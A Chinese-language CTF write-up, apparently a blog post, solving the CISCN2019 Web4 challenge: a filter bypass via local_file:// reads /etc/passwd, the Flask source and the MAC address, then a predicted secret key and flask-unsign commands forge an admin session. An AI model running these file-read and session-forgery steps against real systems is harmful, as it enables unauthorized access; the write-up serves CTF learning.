• BUU [CISCN2019 华东南赛区]Web4


    BUU [CISCN2019 华东南赛区]Web4

    题目描述:Click to launch instance.

    开题:

    image-20231203030538490

    点击链接,有点像SSRF

    image-20231203030551174

    使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。

    image-20231203030849532

    local_file://协议:

    local_file://与file://类似,常用于绕过,可以直接读取本地文件内容

    此外,不加协议,直接通过文件名读取文件也行。

    /read?url=/etc/passwd
    
    • 1

    image-20231204163732895

    读取后端源码:

    /read?url=/app/app.py
    
    • 1

    源码如下:

    import re, random, uuid, urllib
    from flask import Flask, session, request
    
    app = Flask(__name__)
    random.seed(uuid.getnode())
    app.config['SECRET_KEY'] = str(random.random()*233)
    app.debug = True
    
    @app.route('/')
    def index():
        session['username'] = 'www-data'
        return 'Hello World! Read somethings'
    
    @app.route('/read')
    def read():
        try:
            url = request.args.get('url')
            m = re.findall('^file.*', url, re.IGNORECASE)
            n = re.findall('flag', url, re.IGNORECASE)
            if m or n:
                return 'No Hack'
            res = urllib.urlopen(url)
            return res.read()
        except Exception as ex:
            print str(ex)
        return 'no response'
    
    @app.route('/flag')
    def flag():
        if session and session['username'] == 'fuck':
            return open('/flag.txt').read()
        else:
            return 'Access denied'
    
    if __name__=='__main__':
        app.run(
            debug=True,
            host="0.0.0.0"
        )
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    注意print语句print str(ex),可以看出后端是python2。

    /flag路由验证了session,若session中的usernamefuck,则返回flag。

    session的密钥由random决定,random的seed是uuid.getnode()

    random.seed(uuid.getnode())
    app.config['SECRET_KEY'] = str(random.random()*233)
    
    • 1
    • 2

    对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

    Mac地址存贮在/sys/class/net/eth0/address

    /read?url=local_file:///sys/class/net/eth0/address
    
    • 1

    得到Mac地址为:2e:44:62:0d:63:0a

    image-20231204182610239

    根据seed预测伪随机数得到key脚本:(python2跑)

    import random
    random.seed(0x2e44620d630a)
    print(str(random.random()*233))
    
    • 1
    • 2
    • 3

    得到key是73.2021768198,不同人不一样。

    我们使用flask-unsign工具来伪造session。

    解密session:

    flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'
    
    • 1

    加密session:

    flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval
    
    • 1

    得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc

    image-20231204183509747

    访问/flag路由,得到flag

    image-20231204183626221

  • 相关阅读:
    【LeetCode】滑动窗口妙解无重复字符的最长子串
    功能测试报告的编写
    香港第一金:美元美债依然是影响贵金属主要因素
    vue中同一个页面参数不同动态改变数据与标题
    【Spring系列03】依赖注入(DI)[之set注入]
    python-opencv 培训课程笔记(2)
    远程访问本地jupyter notebook服务 - 无公网IP端口映射
    Mac M1芯片Java开发环境搭建 · 排错处理
    CSS 中的 white-space 渲染模型
    Linux常用命令操作
  • 原文地址:https://blog.csdn.net/Jayjay___/article/details/136278918